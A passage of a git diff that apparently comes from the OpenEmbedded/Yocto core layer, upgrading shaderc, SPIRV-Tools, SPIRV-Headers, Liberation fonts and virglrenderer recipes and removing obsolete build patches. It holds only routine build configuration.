-From: Jose Quaresma <quaresma.jose@gmail.com>
-Date: Sat, 17 Oct 2020 12:51:50 +0100
-Subject: [PATCH 3/3] cmake: de-vendor libs and disable git versioning
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
----
- CMakeLists.txt | 2 --
- glslc/CMakeLists.txt | 1 -
- glslc/src/build-version.inc | 0
- 3 files changed, 3 deletions(-)
- create mode 100644 glslc/src/build-version.inc
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index a4e779b..cfa7bd8 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -70,7 +70,6 @@ endif(MSVC)
-
- # Configure subdirectories.
- # We depend on these for later projects, so they should come first.
--add_subdirectory(third_party)
-
- if(SHADERC_ENABLE_SPVC)
- add_subdirectory(libshaderc_spvc)
-@@ -79,7 +78,6 @@ endif()
- add_subdirectory(libshaderc_util)
- add_subdirectory(libshaderc)
- add_subdirectory(glslc)
--add_subdirectory(examples)
-
- add_custom_target(build-version
- ${PYTHON_EXECUTABLE}
-diff --git a/glslc/CMakeLists.txt b/glslc/CMakeLists.txt
-index 0f5d888..08686e0 100644
---- a/glslc/CMakeLists.txt
-+++ b/glslc/CMakeLists.txt
-@@ -26,7 +26,6 @@ shaderc_default_compile_options(glslc_exe)
- target_include_directories(glslc_exe PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/.. ${spirv-tools_SOURCE_DIR}/include)
- set_target_properties(glslc_exe PROPERTIES OUTPUT_NAME glslc)
- target_link_libraries(glslc_exe PRIVATE glslc shaderc_util shaderc)
--add_dependencies(glslc_exe build-version)
-
- shaderc_add_tests(
- TEST_PREFIX glslc
-diff --git a/glslc/src/build-version.inc b/glslc/src/build-version.inc
-new file mode 100644
-index 0000000..e69de29
---
-2.28.0
-
diff --git a/meta/recipes-graphics/shaderc/shaderc_2020.3.bb b/meta/recipes-graphics/shaderc/shaderc_2020.3.bb
deleted file mode 100644
index f5edf53caf..0000000000
--- a/meta/recipes-graphics/shaderc/shaderc_2020.3.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "A collection of tools, libraries and tests for shader compilation"
-DESCRIPTION = "The Shaderc library provides an API for compiling GLSL/HLSL \
-source code to SPIRV modules. It has been shipping in the Android NDK since version r12b."
-SECTION = "graphics"
-HOMEPAGE = "https://github.com/google/shaderc"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
-
-SRCREV = "1fce59794079f90ceb091190adbbb5499acd4e95"
-SRC_URI = "git://github.com/google/shaderc.git;protocol=https;branch=main \
- file://0001-Fix-the-link-order-of-libglslang-and-libHLSL.patch \
- file://0003-cmake-de-vendor-libs-and-disable-git-versioning.patch \
- "
-S = "${WORKDIR}/git"
-
-inherit cmake python3native
-
-DEPENDS = "spirv-tools glslang"
-
-EXTRA_OECMAKE = "-DCMAKE_BUILD_TYPE=Release -DSHADERC_SKIP_TESTS=ON"
-
-do_configure_prepend() {
- # TODO: probably there is better solution for this.
- # I dont know any method for get the version of a receipe in DEPENDS
- # so do this ugly hack
- cat <<- EOF > ${S}/glslc/src/build-version.inc
-"${PV}\\n"
-"$(pkg-config --modversion SPIRV-Tools)\\n"
-"$(glslangValidator --version | head -1 | cut -d' ' -f3)\\n"
-EOF
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/shaderc/shaderc_2021.3.bb b/meta/recipes-graphics/shaderc/shaderc_2021.3.bb
new file mode 100644
index 0000000000..cc2cfc18a8
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/shaderc_2021.3.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A collection of tools, libraries and tests for shader compilation"
+DESCRIPTION = "The Shaderc library provides an API for compiling GLSL/HLSL \
+source code to SPIRV modules. It has been shipping in the Android NDK since version r12b."
+SECTION = "graphics"
+HOMEPAGE = "https://github.com/google/shaderc"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
+
+SRCREV = "6fabc36fbebacfcef8cf82463df2a8247120ebf0"
+SRC_URI = "git://github.com/google/shaderc.git;protocol=https;branch=main \
+ file://0001-cmake-disable-building-external-dependencies.patch \
+ file://0002-libshaderc_util-fix-glslang-header-file-location.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "^v(?P<pver>\d+(\.\d+)+)$"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native pkgconfig
+
+DEPENDS = "spirv-headers spirv-tools glslang"
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DBUILD_EXTERNAL=OFF \
+ -DSHADERC_SKIP_TESTS=ON \
+ -DSHADERC_SKIP_EXAMPLES=ON \
+ -DSHADERC_SKIP_COPYRIGHT_CHECK=ON \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/spir/files/0001-Respect-CMAKE_INSTALL_LIBDIR-in-installed-CMake-file.patch b/meta/recipes-graphics/spir/files/0001-Respect-CMAKE_INSTALL_LIBDIR-in-installed-CMake-file.patch
deleted file mode 100644
index 5d37da8fe0..0000000000
--- a/meta/recipes-graphics/spir/files/0001-Respect-CMAKE_INSTALL_LIBDIR-in-installed-CMake-file.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From caf59c46ea5dc49e4dbf756c642b03e52c1b5468 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Dec 2019 07:02:24 -0800
-Subject: [PATCH] Respect CMAKE_INSTALL_LIBDIR in installed CMake files
-
-Upstream-Status: Submitted [https://github.com/google/effcee/pull/36]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- CMakeLists.txt | 1 +
- effcee/CMakeLists.txt | 4 ++--
- 2 files changed, 3 insertions(+), 2 deletions(-)
-
---- a/external/effcee/CMakeLists.txt
-+++ b/external/effcee/CMakeLists.txt
-@@ -27,6 +27,7 @@ endif()
-
- include(cmake/setup_build.cmake)
- include(cmake/utils.cmake)
-+include(GNUInstallDirs)
-
- add_subdirectory(third_party)
- add_subdirectory(effcee)
---- a/external/effcee/effcee/CMakeLists.txt
-+++ b/external/effcee/effcee/CMakeLists.txt
-@@ -14,8 +14,8 @@ install(
- DESTINATION
- include/effcee)
- install(TARGETS effcee
-- LIBRARY DESTINATION lib
-- ARCHIVE DESTINATION lib)
-+ LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
-+ ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR})
-
- if(EFFCEE_BUILD_TESTING)
- add_executable(effcee-test
diff --git a/meta/recipes-graphics/spir/spirv-headers_1.5.4.bb b/meta/recipes-graphics/spir/spirv-headers_1.5.4.bb
new file mode 100644
index 0000000000..522708618e
--- /dev/null
+++ b/meta/recipes-graphics/spir/spirv-headers_1.5.4.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Machine-readable files for the SPIR-V Registry"
+DESCRIPTION = "Headers are provided in the include directory, with up-to-date \
+headers in the unified1 subdirectory. Older headers are provided according to \
+their version."
+SECTION = "graphics"
+HOMEPAGE = "https://www.khronos.org/registry/spir-v"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c938b85bceb8fb26c1a807f28a52ae2d"
+
+SRCREV = "814e728b30ddd0f4509233099a3ad96fd4318c07"
+SRC_URI = "git://github.com/KhronosGroup/SPIRV-Headers;protocol=https;branch=master"
+UPSTREAM_CHECK_GITTAGREGEX = "^(?P<pver>\d+(\.\d+)+)$"
+S = "${WORKDIR}/git"
+PV .= "+git${SRCPV}"
+
+inherit cmake
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/spir/spirv-tools_2020.5.bb b/meta/recipes-graphics/spir/spirv-tools_2020.5.bb
deleted file mode 100644
index 5e42987240..0000000000
--- a/meta/recipes-graphics/spir/spirv-tools_2020.5.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "The SPIR-V Tools project provides an API and commands for \
-processing SPIR-V modules"
-DESCRIPTION = "The project includes an assembler, binary module parser, \
-disassembler, validator, and optimizer for SPIR-V."
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SECTION = "graphics"
-
-S = "${WORKDIR}/git"
-DEST_DIR = "${S}/external"
-SRC_URI = "git://github.com/KhronosGroup/SPIRV-Tools.git;name=spirv-tools \
- git://github.com/KhronosGroup/SPIRV-Headers.git;name=spirv-headers;destsuffix=${DEST_DIR}/spirv-headers \
- git://github.com/google/effcee.git;name=effcee;destsuffix=${DEST_DIR}/effcee \
- git://github.com/google/re2.git;name=re2;destsuffix=${DEST_DIR}/re2 \
- git://github.com/google/googletest.git;name=googletest;destsuffix=${DEST_DIR}/googletest \
- file://0001-Respect-CMAKE_INSTALL_LIBDIR-in-installed-CMake-file.patch;destsuffix=${DEST_DIR}/effcee \
-"
-SRCREV_spirv-tools = "b27e039c68dd9eb959bb9249fcb2c9a54841474b"
-SRCREV_spirv-headers = "3fdabd0da2932c276b25b9b4a988ba134eba1aa6"
-SRCREV_effcee = "cd25ec17e9382f99a895b9ef53ff3c277464d07d"
-SRCREV_re2 = "5bd613749fd530b576b890283bfb6bc6ea6246cb"
-SRCREV_googletest = "f2fb48c3b3d79a75a88a99fba6576b25d42ec528"
-
-inherit cmake python3native
-
-EXTRA_OECMAKE += "-DSPIRV_WERROR=OFF"
-
-do_install_append() {
- install -d ${D}/${includedir}/spirv
- install -m 0644 ${DEST_DIR}/spirv-headers/include/spirv/1.2/* ${D}${includedir}/spirv
- install -d ${D}/${includedir}/spirv/unified1
- install -m 0644 ${DEST_DIR}/spirv-headers/include/spirv/unified1/* ${D}${includedir}/spirv/unified1
-}
-
-FILES_SOLIBSDEV = ""
-FILES_${PN} += "${libdir}/*.so"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/spir/spirv-tools_2021.4.bb b/meta/recipes-graphics/spir/spirv-tools_2021.4.bb
new file mode 100644
index 0000000000..ed56f4668f
--- /dev/null
+++ b/meta/recipes-graphics/spir/spirv-tools_2021.4.bb
@@ -0,0 +1,40 @@
+SUMMARY = "The SPIR-V Tools project provides an API and commands for \
+processing SPIR-V modules"
+DESCRIPTION = "The project includes an assembler, binary module parser, \
+disassembler, validator, and optimizer for SPIR-V."
+HOMEPAGE = "https://github.com/KhronosGroup/SPIRV-Tools"
+SECTION = "graphics"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRCREV = "ab8eb607750208066e2d57eff6a34dbaf05f5ada"
+SRC_URI = "git://github.com/KhronosGroup/SPIRV-Tools.git;branch=master;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "^v(?P<pver>\d+(\.\d+)+)$"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native
+
+DEPENDS = "spirv-headers"
+
+EXTRA_OECMAKE += "\
+ -DSPIRV-Headers_SOURCE_DIR=${STAGING_EXECPREFIXDIR} \
+ -DSPIRV_TOOLS_BUILD_STATIC=OFF \
+ -DBUILD_SHARED_LIBS=ON \
+ -DSPIRV_SKIP_TESTS=ON \
+"
+
+do_install:append:class-target() {
+ # reproducibility: remove build host path
+ sed -i ${D}${libdir}/cmake/SPIRV-Tools/SPIRV-ToolsTarget.cmake \
+ -e 's:${STAGING_DIR_HOST}::g'
+}
+
+# all the libraries are unversioned, so don't pack it on PN-dev
+SOLIBS = ".so"
+FILES_SOLIBSDEV = ""
+
+PACKAGES =+ "${PN}-lesspipe"
+FILES:${PN}-lesspipe = "${base_bindir}/spirv-lesspipe.sh"
+RDEPENDS:${PN}-lesspipe += "${PN} bash"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb b/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
index d10bddb529..f69e4838f4 100644
--- a/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
+++ b/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
@@ -1,6 +1,9 @@
SUMMARY = "Enables monitoring and display of application startup"
+DESCRIPTION = "Contains a reference implementation of the startup notification protocol. \
+The reference implementation is mostly under an X Window System style license, and has \
+no special dependencies. "
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/startup-notification/"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=Specifications"
+BUGTRACKER = "https://gitlab.freedesktop.org/xdg/startup-notification/-/issues"
# most files are under MIT, but libsn/sn-util.c is under LGPL, the
# effective license is LGPL
diff --git a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb
deleted file mode 100644
index f5df9efa3b..0000000000
--- a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Liberation(tm) Fonts"
-DESCRIPTION = "The Liberation(tm) Fonts is a font family originally \
-created by Ascender(c) which aims at metric compatibility with \
-Arial, Times New Roman, Courier New."
-HOMEPAGE = "https://releases.pagure.org/liberation-fonts/"
-BUGTRACKER = "https://bugzilla.redhat.com/"
-
-SECTION = "x11/fonts"
-LICENSE = "OFL-1.1"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=f96db970a9a46c5369142b99f530366b"
-PE = "1"
-
-inherit allarch fontcache
-
-FONT_PACKAGES = "${PN}"
-
-SRC_URI = "https://releases.pagure.org/liberation-fonts/liberation-fonts-ttf-${PV}.tar.gz \
- file://30-liberation-aliases.conf"
-
-S = "${WORKDIR}/liberation-fonts-ttf-${PV}"
-
-SRC_URI[md5sum] = "5c781723a0d9ed6188960defba8e91cf"
-SRC_URI[sha256sum] = "7890278a6cd17873c57d9cd785c2d230d9abdea837e96516019c5885dd271504"
-
-do_install () {
- install -d ${D}${datadir}/fonts/ttf/
- for i in *.ttf; do
- install -m 0644 $i ${D}${prefix}/share/fonts/ttf/${i}
- done
-
- install -d ${D}${sysconfdir}/fonts/conf.d/
- install -m 0644 ${WORKDIR}/30-liberation-aliases.conf ${D}${sysconfdir}/fonts/conf.d/
-
- install -d ${D}${prefix}/share/doc/${BPN}/
- install -m 0644 LICENSE ${D}${datadir}/doc/${BPN}/
-}
-
-PACKAGES = "${PN}"
-FILES_${PN} += "${sysconfdir} ${datadir}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb
new file mode 100644
index 0000000000..32247b09c8
--- /dev/null
+++ b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Liberation(tm) Fonts"
+DESCRIPTION = "The Liberation(tm) Fonts is a font family originally \
+created by Ascender(c) which aims at metric compatibility with \
+Arial, Times New Roman, Courier New."
+HOMEPAGE = "https://github.com/liberationfonts/liberation-fonts"
+BUGTRACKER = "https://bugzilla.redhat.com/"
+
+SECTION = "x11/fonts"
+LICENSE = "OFL-1.1"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f96db970a9a46c5369142b99f530366b"
+PE = "1"
+
+SRC_URI = "https://github.com/liberationfonts/liberation-fonts/files/7261482/liberation-fonts-ttf-${PV}.tar.gz \
+ file://30-liberation-aliases.conf"
+SRC_URI[sha256sum] = "7191c669bf38899f73a2094ed00f7b800553364f90e2637010a69c0e268f25d0"
+UPSTREAM_CHECK_URI = "https://github.com/liberationfonts/liberation-fonts/releases"
+
+S = "${WORKDIR}/liberation-fonts-ttf-${PV}"
+
+inherit allarch fontcache
+
+do_install () {
+ install -d ${D}${datadir}/fonts/ttf/
+ for i in *.ttf; do
+ install -m 0644 $i ${D}${prefix}/share/fonts/ttf/${i}
+ done
+
+ install -d ${D}${sysconfdir}/fonts/conf.d/
+ install -m 0644 ${WORKDIR}/30-liberation-aliases.conf ${D}${sysconfdir}/fonts/conf.d/
+
+ install -d ${D}${prefix}/share/doc/${BPN}/
+ install -m 0644 LICENSE ${D}${datadir}/doc/${BPN}/
+}
+
+PACKAGES = "${PN}"
+FILES:${PN} += "${sysconfdir} ${datadir}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb b/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
index 3e1ba196b5..1f1ad83e0b 100644
--- a/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
+++ b/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
@@ -1,4 +1,5 @@
SUMMARY = "The Bitstream Vera fonts - TTF Edition"
+HOMEPAGE = "https://www.gnome.org/fonts/"
DESCRIPTION = "The Bitstream Vera fonts include four monospace and sans \
faces (normal, oblique, bold, bold oblique) and two serif faces (normal \
and bold). In addition Fontconfig/Xft2 can artificially oblique the \
@@ -7,10 +8,13 @@ but is visibly different than normal and bold, and reasonably pleasing."
SECTION = "x11/fonts"
LICENSE = "BitstreamVera"
LIC_FILES_CHKSUM = "file://COPYRIGHT.TXT;md5=27d7484b1e18d0ee4ce538644a3f04be"
-PR = "r7"
+PR = "r8"
inherit allarch fontcache
+# remove at next version upgrade or when output changes
+HASHEQUIV_HASH_VERSION .= ".1"
+
FONT_PACKAGES = "${PN}"
SRC_URI = "${GNOME_MIRROR}/ttf-bitstream-vera/1.10/ttf-bitstream-vera-${PV}.tar.bz2"
@@ -29,4 +33,4 @@ do_install () {
done
}
-FILES_${PN} = "${datadir}/fonts"
+FILES:${PN} = "${datadir}/fonts"
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch b/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch
deleted file mode 100644
index a0ac3aefdd..0000000000
--- a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 3d30df8d8ccb919733b5339b2a82474305b83998 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 6 Aug 2019 01:19:48 +0000
-Subject: [PATCH] gallium: Expand libc check to be platform OS check
-
-endianness on musl based systems can also be detected in same way as
-glibc, therefore check for __linux__ define instead of __GLIBC__
-
-Fixes build on musl/mips
-
-| ../../../../git/src/gallium/include/pipe/p_config.h:171:2: error: #error Unknown Endianness
-| #error Unknown Endianness
-| ^~~~~
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/gallium/include/pipe/p_config.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/gallium/include/pipe/p_config.h b/src/gallium/include/pipe/p_config.h
-index d603681..71cdf49 100644
---- a/src/gallium/include/pipe/p_config.h
-+++ b/src/gallium/include/pipe/p_config.h
-@@ -130,7 +130,7 @@
- * Endian detection.
- */
-
--#ifdef __GLIBC__
-+#ifdef __linux__
- #include <endian.h>
-
- #if __BYTE_ORDER == __LITTLE_ENDIAN
---
-2.17.1
-
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb b/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb
deleted file mode 100644
index 52821195d1..0000000000
--- a/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "VirGL virtual OpenGL renderer"
-DESCRIPTION = "Virgil is a research project to investigate the possibility of \
-creating a virtual 3D GPU for use inside qemu virtual machines, that allows \
-the guest operating system to use the capabilities of the host GPU to \
-accelerate 3D rendering."
-HOMEPAGE = "https://virgil3d.github.io/"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c81c08eeefd9418fca8f88309a76db10"
-
-DEPENDS = "libdrm virtual/libgl libepoxy"
-SRCREV = "7d204f3927be65fb3365dce01dbcd04d447a4985"
-SRC_URI = "git://anongit.freedesktop.org/virglrenderer \
- file://0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch \
- file://0001-meson.build-use-python3-directly-for-python.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit meson pkgconfig features_check
-
-BBCLASSEXTEND = "native nativesdk"
-
-REQUIRED_DISTRO_FEATURES = "opengl"
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb b/meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb
new file mode 100644
index 0000000000..65bd1af942
--- /dev/null
+++ b/meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "VirGL virtual OpenGL renderer"
+DESCRIPTION = "Virgil is a research project to investigate the possibility of \
+creating a virtual 3D GPU for use inside qemu virtual machines, that allows \
+the guest operating system to use the capabilities of the host GPU to \
+accelerate 3D rendering."
+HOMEPAGE = "https://virgil3d.github.io/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c81c08eeefd9418fca8f88309a76db10"
+
+DEPENDS = "libdrm virtual/libgl virtual/libgbm libepoxy"
+SRCREV = "363915595e05fb252e70d6514be2f0c0b5ca312b"
+SRC_URI = "git://anongit.freedesktop.org/virglrenderer;branch=branch-0.9.1 \
+ file://0001-meson.build-use-python3-directly-for-python.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig features_check
+
+BBCLASSEXTEND = "native nativesdk"
+
+REQUIRED_DISTRO_FEATURES = "opengl"
diff --git a/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch b/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
deleted file mode 100644
index 34c5bfa857..0000000000
--- a/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 58f576d6f240b08957a402960cdf06c74201ac7b Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 12 Dec 2019 22:16:15 -0800
-Subject: [PATCH] Use ASSIMP_LIB_INSTALL_DIR to search library
-
-Use ASSIMP_LIB_INSTALL_DIR rather than hardcoded /lib to search library
-
-Upstream-Status: Inappropriate [oe specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- assimpTargets-release.cmake.in | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/assimpTargets-release.cmake.in b/assimpTargets-release.cmake.in
-index f3db8f1..b8a066a 100644
---- a/assimpTargets-release.cmake.in
-+++ b/assimpTargets-release.cmake.in
-@@ -42,11 +42,11 @@ if(MSVC)
- # Import target "assimp::assimp" for configuration "Release"
- set_property(TARGET assimp::assimp APPEND PROPERTY IMPORTED_CONFIGURATIONS RELEASE)
- set_target_properties(assimp::assimp PROPERTIES
-- IMPORTED_IMPLIB_RELEASE "${_IMPORT_PREFIX}/lib/${importLibraryName}"
-+ IMPORTED_IMPLIB_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${importLibraryName}"
- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/bin/${sharedLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${importLibraryName}")
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${importLibraryName}")
- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/bin/${sharedLibraryName}" )
- else()
- set(staticLibraryName "assimp${ASSIMP_LIBRARY_SUFFIX}@CMAKE_STATIC_LIBRARY_SUFFIX@")
-@@ -54,10 +54,10 @@ if(MSVC)
- # Import target "assimp::assimp" for configuration "Release"
- set_property(TARGET assimp::assimp APPEND PROPERTY IMPORTED_CONFIGURATIONS RELEASE)
- set_target_properties(assimp::assimp PROPERTIES
-- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/lib/${staticLibraryName}"
-+ IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${staticLibraryName}")
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}")
- endif()
-
- else()
-@@ -70,17 +70,17 @@ else()
- endif()
- set_target_properties(assimp::assimp PROPERTIES
- IMPORTED_SONAME_RELEASE "${sharedLibraryName}"
-- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/lib/${sharedLibraryName}"
-+ IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${sharedLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${sharedLibraryName}" )
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${sharedLibraryName}" )
- else()
- set(staticLibraryName "libassimp${ASSIMP_LIBRARY_SUFFIX}@CMAKE_STATIC_LIBRARY_SUFFIX@")
- set_target_properties(assimp::assimp PROPERTIES
-- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/lib/${staticLibraryName}"
-+ IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${staticLibraryName}" )
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}" )
- endif()
- endif()
-
diff --git a/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch b/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
deleted file mode 100644
index 87a1658710..0000000000
--- a/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
+++ /dev/null
@@ -1,1664 +0,0 @@
-From 7fc220b2350d78942fb3935cad0b1564418ebe8f Mon Sep 17 00:00:00 2001
-From: Kim Kulling <kim.kulling@googlemail.com>
-Date: Tue, 19 Nov 2019 20:30:40 +0100
-Subject: [PATCH] closes https://github.com/assimp/assimp/issues/2733: update
- of zlip to fix gcc build for v9.2.0 32 bit
-
-Upstream-Status: Backport [https://github.com/assimp/assimp/commit/f78446b14aff46db2ef27d062a275b6a01fd68b1]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- contrib/zip/.gitignore | 2 +
- contrib/zip/CMakeLists.txt | 83 +++++-
- contrib/zip/README.md | 12 +-
- contrib/zip/appveyor.yml | 2 +-
- contrib/zip/src/miniz.h | 457 ++++++++++++++++++++++++++++----
- contrib/zip/src/zip.c | 62 +++--
- contrib/zip/src/zip.h | 457 ++++++++++++++++----------------
- contrib/zip/test/CMakeLists.txt | 27 +-
- contrib/zip/test/test.c | 38 ++-
- contrib/zip/test/test_miniz.c | 25 +-
- 10 files changed, 821 insertions(+), 344 deletions(-)
-
-diff --git a/contrib/zip/.gitignore b/contrib/zip/.gitignore
-index a7904a1e..49b2cb2f 100644
---- a/contrib/zip/.gitignore
-+++ b/contrib/zip/.gitignore
-@@ -1,6 +1,7 @@
- /build/
- /test/build/
- /xcodeproj/
-+.vscode/
-
- # Object files
- *.o
-@@ -54,3 +55,4 @@ zip.dir/
- test/test.exe.vcxproj.filters
- test/test.exe.vcxproj
- test/test.exe.dir/
-+
-diff --git a/contrib/zip/CMakeLists.txt b/contrib/zip/CMakeLists.txt
-index b46dbb1d..77916d2e 100644
---- a/contrib/zip/CMakeLists.txt
-+++ b/contrib/zip/CMakeLists.txt
-@@ -1,10 +1,14 @@
--cmake_minimum_required(VERSION 2.8)
--project(zip)
--enable_language(C)
-+cmake_minimum_required(VERSION 3.0)
-+
-+project(zip
-+ LANGUAGES C
-+ VERSION "0.1.15")
- set(CMAKE_MODULE_PATH "${PROJECT_SOURCE_DIR}/cmake" ${CMAKE_MODULE_PATH})
-
-+option(CMAKE_DISABLE_TESTING "Disable test creation" OFF)
-+
- if (MSVC)
-- # Use secure functions by defaualt and suppress warnings about "deprecated" functions
-+ # Use secure functions by default and suppress warnings about "deprecated" functions
- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /D _CRT_SECURE_CPP_OVERLOAD_STANDARD_NAMES=1")
